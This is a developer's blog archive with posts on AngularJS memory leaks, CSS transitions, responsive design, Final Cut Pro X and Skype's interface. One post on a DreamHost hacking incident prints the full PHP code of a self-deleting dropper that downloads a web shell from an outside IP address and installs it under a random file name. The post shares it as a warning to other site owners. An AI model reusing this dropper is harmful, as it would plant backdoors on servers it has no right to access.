Menu ▼

Author Archive

AngularJS and Memory Leaks

AngularJS is a great front-end framework, and I love it, but it appears that a lot of people are complaining about memory leaks. I spent last 2 days trying to isolate the cause of my memory leak too, but it turns out that mine was rather Heisenbergian, that is, the act of observing caused the problem! Before you start looking into memory leaks in AngularJS, you should make sure that you do two things:

1. Comment out all of your console.log() functions in your source. The log function apparently retains a reference to the variable that it outputted. So, if you do something like console.log(data), that “data” would never get garbage-collected, and your memory usage will keep on increasing (the hallmark of memory leak). Voila! You just created a memory leak by trying to observe it.

2. Turn off (disable) AngularJS Batarang (the developer plugin for Chrome). The same logic here. If you keep that on, your memory will not get garbage-collected.

After doing these two things, if you still see the memory usage keep climbing, you have a real memory leak (congrats).

Another thing to keep in mind: Chrome is a bit slow in garbage collecting. So, even if you have no memory leak, your memory usage on the Timeline page of Developer Tools may keep on increasing. Give it a little time. Or, click on the trash button at the bottom of the window (forces garbage collection).

If you don’t see memory usage increase, but you see the node count in Chrome Developer Tools keep climbing, apparently that is not something you need to worry about.

The most likely culprit of memory leak in Angular is JQuery used in your directives. If you attach an event-listener in your directive using a JQuery plugin, the latter would keep a reference to your DOM even after Angular deletes its own reference to the DOM, which means it would never be garbage-collected by the browser, which in turn means “Detached DOM tree” in your memory  (You can see it in the “Profiles” page of Chrome Developer Tools. Take a snapshot, and search for “detached”.). As you navigate around your app (loading different views/controllers), you will end up creating more of these detached DOMs.

Launch your app, take a snapshot of your memory in Developer Tools, and navigate around for a bit, and take another snapshot. You would probably see the number of detached DOMs increase. Even if the numbers remain the same, the “retained size” might keep increasing for each. This is because the same exact DOMs are repeatedly being created in memory without garbage-collection. By going down the tree browser, you can see what these DOMs are. And, then take a look at your directives to see if there are any event-listeners attached to them. Each JQuery plugin should offer a way to “destroy” itself. Listen for Angular’s $destory event, and unbind the event-listener.

 

—posted by Dyske   » Follow me on Twitter or on Facebook Page

Wall Between Art and Science That Steve Jobs Tore Down

New York Times says “Tech Moves to the Background as Design Becomes Foremost”. This has been true for a while now as most applications have become fast enough and have more than enough features, but I think it’s relatively new for mobile devices. As Seth Godin said, these days, marketing and branding have to be built into the products themselves. Businesses cannot just go ahead and create products and then think about how to market them. Marketing has to drive the product development, which is what Steve Jobs was great at. He thought about what would appeal to people in a more emotional way, and the function took a relative backseat. Other computer companies have always made faster computers than Apple.

The traditional way of thinking about product development is to think about what people need. That is, what appeals to people’s logical side. Functional and pragmatic needs drove product development, and then once the products were made, they had to figure out how to appeal to people emotionally via marketing. So, marketing has always addressed the emotional side of the consumers. (i.e. product = logical and marketing = emotional). What Steve Jobs did was to tear down this wall. In most traditional businesses, the product development side is filled with engineers and scientists (primarily logical people), and the marketing side is filled with artists (primarily emotional people). He closed this gap and mixed them up because he himself was a fusion of the two.

I think most product engineers are now aware of how important the emotional appeal of products is, so they are trying to reach out to the artistic side. At the same time, artists too are now realizing that they cannot ignore engineering in their design. User-interface design is no longer “graphic design” but “industrial design” like designing a car. It’s no longer a matter of how to make something look pretty. They need to understand engineering in order to come up with an effective design because usability as a dimension also is emotional and aesthetic.

—posted by Dyske   » Follow me on Twitter or on Facebook Page

How I Choose Technologies

I’m pretty conservative when it comes to selecting any sort of technologies. My biggest concern with selecting any web development framework is the longevity of support. Most programmers select frameworks or languages that are the purest and most elegant from a theoretical or academic point of view, but in reality, they are all human products; as such, they are prone to human frivolity and vanity. There are countless great applications and operating systems that were clearly superior to most Microsoft products, but they died. Naturally, developers would want to believe that product is everything in business, but in the end, it’s more like the cherry on top; everything else actually matters more.

In my view, most of the frameworks currently available are more than good enough. The vast majority of websites don’t require serious programming. It’s mostly about pulling, pushing, and slicing data. It’s like selecting a car for your daily commute; does it really matter whether I’m driving a Ferrari, Porsche, or Honda? In terms of what these cars can do for me, it makes no difference; they can all get me from point A to B. But it does make a difference in a sense that the car I drive every day to work would probably need to be serviced/repaired often. For that, Ferrari and Porsche would be a bad idea as it would probably take a lot longer to fix (and cost more). So, I select a framework equivalent to a Honda.

I particularly avoid frameworks with a lot of hype, an equivalent of Hummer. When people become really excited about something, it is inevitably followed by a quick deflation because it’s not possible to sustain the same level of excitement for a long time. It’s like trying to sustain an orgasm for hours; what goes up quickly tends to come down quickly also. It’s better to select something that is low-key and modest if you need it to last for a while.

In contrast, broadcast design is all about whatever is the hippest and most exciting at the moment, because as soon as it airs a few times on TV, it is discarded. There is no point in designing anything that would stand the test of time. But when you design a logo, you want to resist the temptation to do something trendy, hip and exciting, because it would look dated in a few years. Young designers tend to have a hard time resisting, and the older design directors often have to curb their enthusiasm. This is necessary in IT too. We have to tell the younger programmers, “OK, let’s not get excited about this hot new programming language. We’ll see where it goes in a year or two, then decide.”

—posted by Dyske   » Follow me on Twitter or on Facebook Page

Fun with CSS3 Transitions

Rollover effect with text-shadow

The transition and animation effects that come with CSS3 are potentially very useful but unfortunately, we can’t rely on them to show or hide critical information since many browsers currently in use do not support them. (Internet Explorer version 10 was just released with these features.) But we could use them to do non-critical things, mainly for fun. I just tried animating the text-shadow property of links »

It’s pretty simple. You define which property you would like animated, and how long it should take. The rest is pretty much automatic. Every time the style of that element changes (triggered by whatever event), it would animate towards the new style instead of immediately changing it. For the anchor selector, I added the following:

a {
 text-shadow: 0px 0px #fff;
 -webkit-transition: text-shadow 0.5s ease-in-out;
 -moz-transition: text-shadow 0.5s ease-in-out;
 -o-transition: text-shadow 0.5s ease-in-out;
 -ms-transition: text-shadow 0.5s ease-in-out;
 transition: text-shadow 0.5s ease-in-out;
}

The text-shadow line defines an invisible text shadow with no offset and in white. Those 5 transition lines are doing the same thing (added just to ensure compatibility). They are setting just text-shadow property to animate so that other properties wouldn’t. And, they are setting half a second as the duration of the animation, and adding easing for in and out points. I then added this:

a:hover {
 text-shadow: 5px 0px #009EC5;
}

This defines the end state of the animation; it adds the text shadow with a 5 pixel offset.

Here are some useful articles on CSS transitions:

—posted by Dyske   » Follow me on Twitter or on Facebook Page

Responsive Web Design for Large Monitors

Mashable predicts that this year (2013) will be the year of “responsive web design”. Before this idea of responsive design came along, the dominant solution was to create an entirely different layout for mobile devices. The problem we face now is that there is no longer a clear line between “mobile” and “desktop”. We have a variety of devices in-between like tablets. So, it wouldn’t make sense to serve different layouts/files for all these devices. Sooner or later, such a set-up would be unmanageable. Responsive web design would make one design work for all. As you change the size of the browser window, the layout continually adapts itself. It’s a great idea, but one issue I came across is what to do when the user has a large monitor. Take a look at the screen captures below:

As you can see, most websites simply leave a large space on both sides. They do not utilize the space. Gmail is an example where the main column expands to take up the extra space but this is a bad idea because each line of text runs so long that it becomes nearly impossible to read as your eyes have to travel a great big distance to reach the next line, and you would most likely lose track of which line you were reading before.

If you are designing an index/home page where you are listing many articles to choose from, the most obvious thing to do would be to fill each article (title and description) in a fixed width box and list them horizontally, then fit as many of them as you can in any given space, and then go to the next row. But what should we do about the individual article pages? We could fit more columns and serve more banners or promotions, but that wouldn’t benefit the users (there would be no incentive for the users to make the browser window large). We could also break up the article into multiple columns but this is generally a bad idea on the Web because it can potentially be confusing to the users in terms of figuring out where their eyes should travel next after reaching the bottom of each column. It’s just easier and simpler to keep scrolling down.

So, I figured why not just make the font size scale with the browser window? This way, you could easily find the most comfortable font size for your computer set up. You could take up the whole screen (thereby making the fonts huge) and sit back a bit to read the article, or turn the monitor around and present it to others sitting around you. I tried this with my own website; just to see what the experience would be like. It looks like this:

Naturally, most people would not have their browser windows this large if they are using a large monitor like mine, but if they do want to sit back from the monitor or present it to someone sitting far, it’s a good use of the extra space. You could achieve a similar effect by using Chrome’s zoom feature but this scheme would work with any browsers.

—posted by Dyske   » Follow me on Twitter or on Facebook Page

My Prediction on the Future of Final Cut Pro X

There are a lot of debates about the future of video editing. Many professional editors are furious about Apple’s Final Cut Pro X (FCPX) and many of them have already switched to Premiere or Avid. My prediction is that Final Cut will win eventually. This is only a temporary setback which, I’m pretty sure, Apple was well aware of before launching FCPX. From the point of view of an application developer, what they did actually makes sense. It reminds me of this concept “The Lean Startup” where you take the smallest possible step that allows you to test your hypotheses about the market, and then build it organically based on the market reactions. In this approach, you take for granted that some or even many customers would be frustrated by the sloppy and incomplete aspects of your product. The idea is that you release an incomplete product on purpose and use the market response to complete it, instead of making many assumptions about what the users are going to want (and waste a lot of money up front in making wrong assumptions).

From the point of view of postproduction companies and editors, their complaints about FCPX are understandable. FCPX requires you to fundamentally change the way they work. By doing so, what would they gain? The answer is nothing. In fact they will lose a significant amount of time and money by switching. I’m pretty sure of that. So, why switch? Because those who make the switch now will eventually become more productive; it’s just that the learning curve and the transition pain will be quite significant at the start, probably for the first 6 months or so. But in order to gain productivity from FCPX, postproduction companies would have to make a concerted effort to change the way they work. If they try to use FCPX without changing their workflow and the environment, there would not be any benefit in switching.

This is a pain that many software developers face when they release applications that require the users to change their habits. It’s always an uphill battle. Most of them fail. Many people would rather stick to what they are already comfortable with if the benefits of switching are not blatantly obvious.

There are many superior features in FCPX but most of them are probably not going to make tangible differences in terms of productivity. The two aspects of FCPX that would make tangible differences are: the new media management scheme and full multi-threading support. Both of these would require software developers to rewrite most of their code. So, I suspect that if Avid and Adobe want to do the same in the future, they would have to face the same pain Apple is dealing with now. And I bet Avid and Adobe are well aware of it, and when they decide to bite the bullet, they will lose the customers they are gaining now from Apple.

One of the major changes in FCPX is that you manage your media outside of your project. This makes perfect sense given that many of the same assets could be used in multiple projects. But one concern you might have is that having access to the entire library of assets would make it harder to find what you need especially if you are a large editorial house. Apple solved this problem by giving you a sophisticated way to organize clips: keywords. Keywords are like tags that are often used to organize blog posts. The main difference between keywords/tags and bins/folders is that the former has many-to-many relationships whereas the latter has one-to-many relationships. In a file cabinet, each file can belong to only one folder. If you want to put the same file in two different folders, you would have to make a copy of it. This is one-to-many because one folder can contain many files (but one file cannot belong to many folders). Certain things in our world are better organized with one-to-many relationships while others are better organized with many-to-many. Multiple tags are often applied to a single blog post. This very post might be tagged as technology, Apple, and video, and if you click on “Apple”, you would get all the posts I’ve written about Apple.

If you think about it, video clips should be organized with many-to-many relationships too. We should be able to apply multiple keywords to each clip, and multiple clips to each keyword. It makes perfect sense; it’s just that we’ve gotten so used to thinking of organizing clips to bins that we didn’t question it. But Apple did. Once all your clips are tagged with keywords, they can be used for any projects. Each editorial house would have to come up with their own way of tagging clips with keywords. If you design the keywords effectively, it would probably be very powerful. Saving a significant amount of time in searching for clips and scenes.

When editorial houses compare FCPX to FCP7 and try to weigh the costs and the benefits, they would not be able to figure out the benefit of this new organizational model because they have never done it. So, they would not count it as part of the benefit. The same is true for other new features. They have no experience working with them, so they cannot calculate the benefit appropriately. As they disregard all the potential benefits as zero, FCP7, Avid, or Premiere would naturally come out as the winner.

Another big advantage of FCPX is that it assumes you are working in a shared network environment. So, there are no plugins or separate tools to manage shared networked resources. All the media are imported as referenced files, leaving the original files intact in their original locations. It’s non-destructive. They adopted the file organizational philosophy from Aperture.

You can choose to generate proxies from the originals so that even if you are disconnected from the network, you can keep working. And, these proxies are automatically generated as background processes while you work, which leads to another powerful feature of FCPX: full support for multi-threading.

It works seamlessly. Even after you tell FCPX to generate proxies, you can keep editing as usual. You do not notice any difference in performance. FCPX takes full advantage of all of the processor cores available on your machine. For video editing, this is a big advantage. FCPX also lets you play back any video clips of any codecs; there is no need to transcode to your timeline codec. Even if you prefer to transcode, this can be done in the background as you work. If you are an owner of an editorial house, think of the money you are paying your editors while they wait for things to render. With FCPX, you wouldn’t have to.

But again, in order to take advantage of these features to make a tangible difference in your productivity, you would probably have to change the way you work, and the environment you work in. Your media management strategy and network design would have to be smart, flexible, and optimal for the type of projects you edit. Unfortunately Apple cannot tell you that part. Once effective workflow and infrastructure are in place to support the new paradigm, I would bet the productivity increase would be significant. And, Apple will keep building on this new paradigm while their competitors will keep supporting the old paradigm. Unless Avid and Adobe have some tricks up their sleeves, I think Apple will win.

—posted by Dyske   » Follow me on Twitter or on Facebook Page

Hacking at DreamHost Using Self-destructing Script

For our clients, we don’t use those inexpensive shared hosting services, but the site for my daughter’s school that I maintain pro bono is hosted on a shared server at DreamHost, which has been experiencing a series of hacking incidents. They host non-profit websites for free, so I’m not complaining, and am thankful for them. I just want to share the things I discovered on our site so that others may be able to benefit from it.

A few days ago, I noticed a file named installer12.php in one of our tmp directories. This file is designed to self-destruct by the last line in code which is:

@unlink(__FILE__);

At the top of installer12.php is an array with hundreds of random words, and it randomly combines two words to create a file name. What this file with a random name does is explained by Leo Parker Dirac on his blog. In his case, installer12.php happens to pick “ainslie” and “turning” to create “ainslieturing.php”. Both of these words are in installer12.php.

The reason why installer12.php did not self-destruct on our site is because our tmp directory is not publicly accessible. We have htaccess file that sets the web root lower down in the directory structure. So, the hacker somehow managed to copy this installer12.php into our tmp directory, but could not trigger it because it’s not publicly accessible. So, it remains undeleted.

The installer12.php in our tmp directory has a Linux user of rp_admin and group of pg7029. Neither are ours, which means that the hacker did not copy installer12.php from any script on our site. If he ran a compromised/malicious script on our website to copy this file, it would have our Linux user and group (just like the JPEG files that we allow users to upload to the site). My guess, therefore, is that the hacker had shell access to the shared server (where our site is hosted) and were able to copy installer12.php to any directory on the server with permission set to 777. In fact, our tmp directory had many subdirectories, and installer12.php was copied into all of them (about 100). So, some sort of script searched the server for any directory with 777 and automatically copied the script in all of them.

After I reported this incident to DreamHost, they ran an automated script to scan our website for any suspicious files. It is supposed to delete any known malicious files but it didn’t delete installer12.php, which leads me to believe that they are not aware of it.

Here’s the code part of installer12.php (right above this part is a big array with random words):

function get_page($url){
$ch1 = curl_init ();
curl_setopt ($ch1, CURLOPT_URL,$url);
curl_setopt ($ch1, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch1, CURLOPT_TIMEOUT, 1000);
curl_setopt ($ch1, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch1, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.2; ru; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729)");
$results = curl_exec ($ch1);
curl_close($ch1);
return $results;
}

$buf = get_page("http://176.65.163.29/newshell.txt");
shuffle($words);
reset($words);
$name = $words[0].$words[1].".php";
$f = @fopen($name,"w");
if ((strstr($buf,"8b7b")) && ($f)){
@fwrite($f,$buf);
@fclose($f);
$host = $_SERVER["HTTP_HOST"];
$uri = $_SERVER["REQUEST_URI"];
$path = str_replace("//","/",pathinfo($uri,PATHINFO_DIRNAME)."/".$name);
echo "|||OK|||http://$host".$path."|||";
} else {
echo "|||BAD|||cant open file $name or cant get sh|||";
}
@unlink(__FILE__);

I informed DreamHost about this. If they get back to me with any new info, I’ll update this post.

—posted by Dyske   » Follow me on Twitter or on Facebook Page

Why I don’t Use Siri

The times I could really use a good voice recognition program is when I cannot look at a screen and when I cannot use my hands to type. The most common such situation is when I’m outside, on the street, or in a public space, which is normally filed with noise. Siri simply does not work in a noisy environment. If I’m inside in a quiet place, it means I’m likely sitting in front of a computer, or near one. I would then rather use the computer. It’s quicker, and also would not disturb other people in the same space. The conversation with a voice recognition system is strange; so it’s more likely to annoy other people around you. It’s not a good etiquette to use voice recognition in a quiet place with other people present, but Siri only works in a quiet place. The only exception, as my friend pointed out, is if you are driving in a car, which I never do.

Every voice recognition program is launched with a big fanfare, but they never stick. (Remember AT&T’s mLife with this big ad campaign?) For it to work, it needs to have a 99% success rate. Not just accuracy, but success rate. For instance, it can’t fail just because there is no Internet connection. It needs to work 99% of the time I try to use it. It can’t fail just because I started talking before Siri beeped.

It’s sort of like how most attempts at creating PDAs failed (including Apple’s Newton) until Palm Pilot made it good enough. In my view, voice recognition is still not ready.

—posted by Dyske   » Follow me on Twitter or on Facebook Page

Skype’s User Interface Disaster

Skype UI DisasterYesterday, I got fed up with Skype’s UI. It’s nearly impossible to use. It takes way too much space on my screen, and I can never find what I need. I keep hearing notification blips but I can’t see where they are coming from within their application. So, I had to look up what the story was with Skype’s UI. It can’t possibly be just me who is fed up with it. I Googled “Skype UI Design” and sure enough I found a whole bunch of people complaining about it.

Apparently the reactions from the users were so bad that Skype had to make their older version (2.8) available again for download. Lukas Mathis at Ignore the Code does a thorough analysis of the problems. What is even worse is that, instead of fixing it, they decided to have a competition for new UI design. In other words, “We don’t really care about UI, so why don’t you all do whatever you want to do with it?”

UI disasters of this magnitude are pretty rare, so I figured whoever designed it, must be in trouble. It turns out that the UI design was outsourced to a consulting firm called 80/20. Towards the bottom of the page, I saw the photos of their partners, and they all have impressive backgrounds in UI design. (I met Jerry Knight once about 5 years ago. He used to live across the street from me.) So, what went wrong? Naturally, I’m not going to find the real answer, but there are several things I could point out just from what I found out so far.

In my view, a software company should not outsource UI design. That is, UI designers should always be part of their core development team. Here are some reasons.

  1. When you hire an outside firm, they would try to deliver a product that can justify their price tag, which means their natural tendency would be to make dramatic and “revolutionary” changes whether such changes are needed or not.
  2. For the purpose of marketing the firm (to ensure ongoing business), independent consulting firms would want to make dramatic changes so that their mark is abundantly clear to everyone. Marketing and PR is an unavoidable concern for independent businesses. This too is a conflict of interest.
  3. UI design is an iterative process that never stops. You cannot just hire an outside consultant for a short period of time to design a UI as a one-off project. To be a UI designer, you must accept the fact that you are going to get many things wrong. UI design deals with human nature; you can never predict everything, just as they could not predict this disaster. The learning never stops, so it must go on indefinitely.
  4. Even when dramatic changes are required, they do not have to be (or should not be) released all in one go. In most cases, it would be better to gradually introduce the changes over time so that your existing users would not be disoriented. Hiring an outside firm is not conducive to this type of strategy as you have little or no control over the long term relationship with that firm.
  5. Most important reason why UI design should be part of your core competency as a software company is because user interface is how you engage your customers. In today’s world of two-way mass media, traditional one-way advertising and marketing strategies no longer work. Marketing must be built into the product itself. Customer engagement should be what drives product development. It makes no sense to outsource the most strategically important aspect of your business to an outside vendor. If that is not part of your core competency, you might as well sell the company.

This UI disaster made me think of the blog post by Khoi Vinh, “The End of Client Services”. It drives his point home. The reason why he no longer wants to be involved in the business of client services is because he does not think it makes sense to outsource that aspect of software product or website.

I believe the real problem with Skype’s UI lies at the top of their corporate ladder. The management obviously does not think UI design is a strategically important aspect of their business. I think that’s where the problem started, and that’s why I can’t enjoy using it anymore.

—posted by Dyske   » Follow me on Twitter or on Facebook Page

Why We Humans Strive to Create Products

Starting and running your own business certainly beats working for other people, but not all businesses are equally satisfying for your creativity. A business is essentially a collection of employees. You cannot embed your own DNA into your own employees (although some submissive salarymen might be willing to accept it). You can however implant your own DNA into your own products. In fact, our desire to do so is at the core of what drives us to be creative. Trying to implant your DNA into your employees is a misguided attempt at being creative.

A business is like a parent. A product can live on without a parent. Think of Adobe Flash. It was originally owned by FutureSplash, then by Macromedia, and then finally by Adobe. Even if the owner/parent of the product dies, the product itself can live on until it dies of its own death. In this analogy, it becomes obvious why we crave to create a product of our own, and why that idea feels more satisfying than owning a business. It comes from our primordial urge to have our own offsprings and pass on our DNA. Artists often sublimate their desire to have children into their artworks.

The highly successful software company 37 Signals, who created the popular project management application Basecamp, was originally a web design firm. Once they had a successful product, they ditched their design business. Ben Pierrat of Svpply explains why he is no longer a designer in this post entitled “Dear Graphic and Web Designers”. Their move away from a service-oriented business to a product-oriented one makes sense. With a business with no products, once the business dies and the people leave, nothing is left. This is particularly true for a creative business like a design firm because the service you are selling, at the end of the day, is you. You are not creating an offspring. If you stop working, it all ends right then. Because of this, many creative business owners try to separate their business from their own identity by pouring their effort into their “brand capital”, hoping that they can sell the brand some day. In the vast majority of cases, it fails; they can’t find any buyers because that “brand capital” has little or no value without the owner who is associated with it. As much as they would like to believe that brand capital can be separated from its creators, in reality, it doesn’t work so well. If they want to create something that has its own life with their DNAs embedded in it, it can’t be a group of people. It needs to be a product.

This is a difficult dilemma to solve particularly for designers because they are supposed to be “creative” people. Serving the needs of others isn’t creative. You are only vicariously living a creative life through other people’s needs to be creative. It’s “creative” only on the facade. As a designer, you can express yourself, but expressing isn’t the same as creating. Just because you expressed something, it does not mean that your expression would have a life of its own. Your expression does not automatically serve as an offspring. Ultimately we want to create our own offsprings, just expressing ourselves ends up feeling empty. We can have real human children but that’s a bit too easy. Any animals can do the same. As a human, we crave for something more intellectually challenging.

My company has our own content management system. Why bother creating our own when there are so many free, open source content management systems like Drupal, Symphony, and Joomla? It’s because I want my product to have my own DNA. I want it to reflect my ideas, visions, and philosophy about how a website should interact with humans, and serve the client who share similar visions. I don’t want to take a product someone else created and simply integrate it into someone else’s website. That wouldn’t be so satisfying or interesting for me. Ultimately, I would love to have a website/product that generates enough income to be self-sustaining. I’m not there yet. I’ll just have to keep trying.

—posted by Dyske   » Follow me on Twitter or on Facebook Page